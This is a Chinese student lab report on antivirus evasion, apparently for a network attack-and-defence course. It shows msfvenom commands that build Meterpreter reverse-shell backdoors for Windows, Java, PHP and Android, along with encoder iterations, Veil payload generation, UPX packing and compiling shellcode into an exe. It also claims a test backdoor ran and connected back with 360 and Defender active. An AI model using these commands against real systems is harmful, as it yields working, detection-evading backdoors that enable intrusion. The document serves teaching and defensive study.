目录

0. 基础知识

0.1 恶意软件检测机制

  • 基于特征码的检测

    简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。

  • 启发式恶意软件检测

    简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

    优点:

    • 可以检测0-day恶意软件

    • 具有一定通用性

    缺点:

    • 实时监控系统行为,开销稍多

    • 没有基于特征码的精确度高

  • 基于行为的恶意软件检测

    最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。

    从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

0.2 免杀技术(Evading AV)综述

总体技术有:

  • 改变特征码

    • 如果你手里只有EXE

      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)

      • 用encode进行编码

      • 基于payload重新编译生成可执行文件

    • 有源代码

      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为

    • 通讯方式

      • 尽量使用反弹式连接

      • 使用隧道技术

      • 加密通讯数据

    • 操作模式

      • 基于内存操作

      • 减少对系统的修改

      • 加入混淆作用的正常功能代码

  • 非常规方法

    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

    • 使用社工类攻击,诱骗目标关闭AV软件。

    • 纯手工打造一个恶意软件

返回目录

1. 正确使用msf编码器

  • 使用VirusTotal或Virscan这两个网站对实验二中生成的后门程序meter_backdoor.exe进行扫描

  • 尝试用msf编码器对后门程序进行一次到多次的编码,并进行检测,代码如下

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.3.26 LPORT=5215 -f exe > encoded1.exe

  • 使用-i设置迭代次数,进行十次编码,结果检测之后发现情况并不理想

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.196.133 LPORT=5121 -f exe > encoded10.exe

返回目录

2. msfvenom生成如jar之类的其他文件

  • 使用如下代码生成java后门程序并检测:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.196.133 LPORT=5110 x> meter_backdoor_java.jar

  • 使用如下代码生成php后门程序并检测:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.196.133 LPORT=5110 x> meter_backdoor.php

  • 使用如下代码生成Android后门程序并检测

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.196.133 lport=5121 x> Android_backdoor.apk

返回目录

3. veil

  • veil的安装让我吃尽苦头,试了很多种方法,反反复复十几次,最后莫名安好了,在此大致揣测一下成功经历。

  • 输入sudo apt-get install veil安装veil,一般都会报错,根据提示输入sudo apt-get update进行更新,再输入sudo apt-get install veil重新安装。

  • 在安装python时会卡住,然后安装失败,没事,输入sudo apt-get purge veil卸载veil,卸载成功后输入sudo apt-get install veil重新安装。

  • 然后应该就能成功了(其实我这样做没成功,还是根据报错再安装一遍,最后成功,喜极而泣!)

  • 输入veil指令,再输入use evasion进入如下页面

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP:set LHOST 192.168.78.128(此处为KaliIP),端口:set LPORT 5110

  • 输入指令generate生成文件,接着输入想取的payload的名字:veil_c_5110,如图所示,生成文件语言为C语言文件,有效载荷模块为TCP反弹型,保存路径为:/var/lib/veil/output/compiled/veil_c_5110.exe

  • 使用VirusTotal检测文件。

返回目录

4. 加壳工具

  • 加压缩壳UPX,输入upx encoded.exe -o wlb.upxed.exe

返回目录

5. 使用C + shellcode编程

  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.78.1 LPORT=5110 -f c生成一段shellcode。

  • 创建一个文件test.c,然后将unsigned char buf[]赋值到其中。

  • 输入i686-w64-mingw32-g++ test.c -o 20175110.exe,将此文件编译为可执行文件并检测。

返回目录

6. 使用其他课堂未介绍方法

  • 再次进入免杀平台

  • 输入list查看可用的payloads

  • 我们使用python来进行编译,输入use python/meterpreter/rev_tcp.py进入配置页面。

  • 输入set LHOST 192.168.78.128set LPORT 5110,分别设置反弹连接的IP地址和端口号。

  • 输入generate生成文件,根据提示输入文件名:20175110

  • 使用VirusTotal检测文件

返回目录

7. 通过组合应用各种技术实现恶意代码免杀

  • 我们这次换一种荷载,使用31 py base64

  • 配置了一下用户名set USERNAME wlb,之后输入generate生成,步骤如下

    • 选择2-msfvenom
    • 默认,输入回车
    • 输入metasploit荷载,同上回车
    • 输入反弹连接IP(linux的IP)和端口号
    • 其他msfvenom选项默认,回车

  • 输入创建的shellocode的名字,这里是py64,生成的文件类型选择2,生成一个exe文件

  • 对其进行加壳操作并进行检测,还是有一点点问题。

返回目录

8. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 电脑环境:Windows10
  • 杀毒软件:360安全卫士和自带的defender
  • 杀软版本:360安全卫士12
  • 查杀时间:2020.03.27

返回目录

9. 基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 使用现成的反病毒软件来扫描待分析的样本,以确代码是否含有病毒。

  • 在Windows平台上,二进制可执行yywrexe和dll都是以pe文件格式组织的,而在linux平台上,可执行文件格式则是elf。

  • 有时恶意代码的作者会在自己的作品中放入某个特定的url或email地址,或者恶意代码会使用到某个特定的库文件和函数。利用字符串提取技术,可以分析恶意代码的功能和结构。

    (2)免杀是做什么?

  • 免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的

    (3)免杀的基本方法有哪些?

  • 改变特征码:这次实验中操作的msf编码、veil、加壳、shellcode都属于改变特征码。

  • 改变行为:使用反弹连接、隧道技术、加密通讯数据等。

    (4)开启杀软能绝对防止电脑中恶意代码吗?

  • 不能,一些病毒软件在改变特征码后杀软识别不出来,所以开启杀软并不能防止电脑中恶意代码。

返回目录

10. 实践总结与体会

这次实验是我做的心最累的一次,本来可以早就做完的,但是veil的安装实在是太折磨人了,拖了大概有两三天的样子,参考了同学的和往届的安装方法,每次都是四十分钟到两三个小时的尝试,反反复复十几次,最后终于安装好了,没有什么兴奋,只有一种解脱。本次的实验内容关于免杀,通过很多方法终于让杀毒软件和查杀网站降低了对于后门的警惕性,但是仅仅一个简单的后门都会引起疯狂查杀,可以想象如果一个功能齐全的病毒软件,那必然需要跨过更多的门槛,知道如何免杀,才能更好的防止计算机中招,希望自己可以进一步探索,试试能不能将规模更大的病毒软件进行免杀。

返回目录

2020-3-30 20175110王礼博 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165236 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165236 Exp3 免杀原理与实践 一.实践内容(3.5分) 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5 ...

  2. 2018-2019 Exp3 免杀原理与实践

    2018-2019 Exp3 免杀原理与实践 目录 一.实验内容说明及基础问题回答 二.实验过程 Task1 1.使用msf编码器生成后门程序及检测 Task1 2.msfvenom生成jar等文件 ...

  3. 2018-2019-2 20165114《网络对抗技术》Exp3 免杀原理与实践

    Exp3 免杀原理与实践 目录 一.实验内容 二.基础问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 三.实践过程记录 正确使用msf编码器,msfv ...

  4. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  5. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这 ...

  7. 20165306 Exp3 免杀原理与实践

    Exp3 免杀原理与实践 一.实践内容概述 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程 2.通过组合应用各种技 ...

  8. 20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5

    <网络对抗技术>Exp3 免杀原理与实践 Week5 一.实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shell ...

  9. 2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践 免杀 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清楚杀毒软件( ...

随机推荐

  1. 通过js自动判断移动终端设备(ios\android等)

    当用户用移动设备扫描一个二维码是,将扫描后的链接链接到一个页面,该页面只包含判断移动终端设备的js,判断好后自动跳转到对应的链接 或下载对应的内容. html代码如下: <script> ...

  2. OO课程的完结,软件工程学习的开始

    目录 UML小结 阅读学习 大象:Thinking in UML UML精粹 UML和模式应用 本单元作业的架构设计 四个单元中架构设计及OO方法的演进 四个单元中测试与实践的演进 课程收获 三个具体 ...

  3. 关于浏览器Number.toFixed的错误修复

    问题描述如下: var n = 1.255; var fixed = n.toFixed(2); console.log(fixed);//结果:1.25 /* 以上代码运行预期的结果是1.26,但是 ...

  4. css3笔记系列-3.css中的各种选择器详解,不看后悔系列

    点击上方蓝色字体,关注我 最详细的css3选择器解析 ​ 选择器是什么? 比较官方的解释:在 CSS 中,选择器是一种模式,用于选择需要添加样式的元素. 最常见的 CSS 选择器是元素选择器.换句话说 ...

  5. Andorid 添加MenuPopup

  6. php解析配置文件

    php解析配置文件 标签(空格分隔): php .ini格式 ![](https://img2020.cnblogs.com/blog/1458583/202003/1458583-202003301 ...

  7. [阿里云-机器学习PAI快速入门与业务实战 ]课时1-机器学习背景知识以及业务架构介绍

    什么是机器学习? 机器学习指的是机器通过统计学算法,对大量的历史数据进行学习从而生成经验模型,利用经验模型指导业务. 目前机器学习主要在一下一些方面发挥作用: 营销类场景:商品推荐.用户群体画像.广告 ...

  8. 【Pytest03】全网最全最新的Pytest框架fixture应用篇(1)

    fixtrue修饰器标记的方法通常用于在其他函数.模块.类或者整个工程调用时会优先执行,通常会被用于完成预置处理和重复操作.例如:登录,执行SQL等操作. 完整方法如下:fixture(scope=' ...

  9. 第二次实验报告:使用 Packet Tracer 分析应用层协议

    个人信息: 姓名:倪晓东 班级:计算1811 学号:201821121020 1 实验目的 熟练使用Packet Tracer工具.分析抓到的应用层协议数据包,深入理解应用层协议,包括语法.语义.时序 ...

  10. 第 k 小的数

    一.寻找两个有序数组的中位数 1.1 问题描述 给定两个大小为 m 和 n 的不同时为空的有序数组 nums1 和 nums2.找出这两个有序数组的中位数,并且要求算法的时间复杂度为 O(log(m ...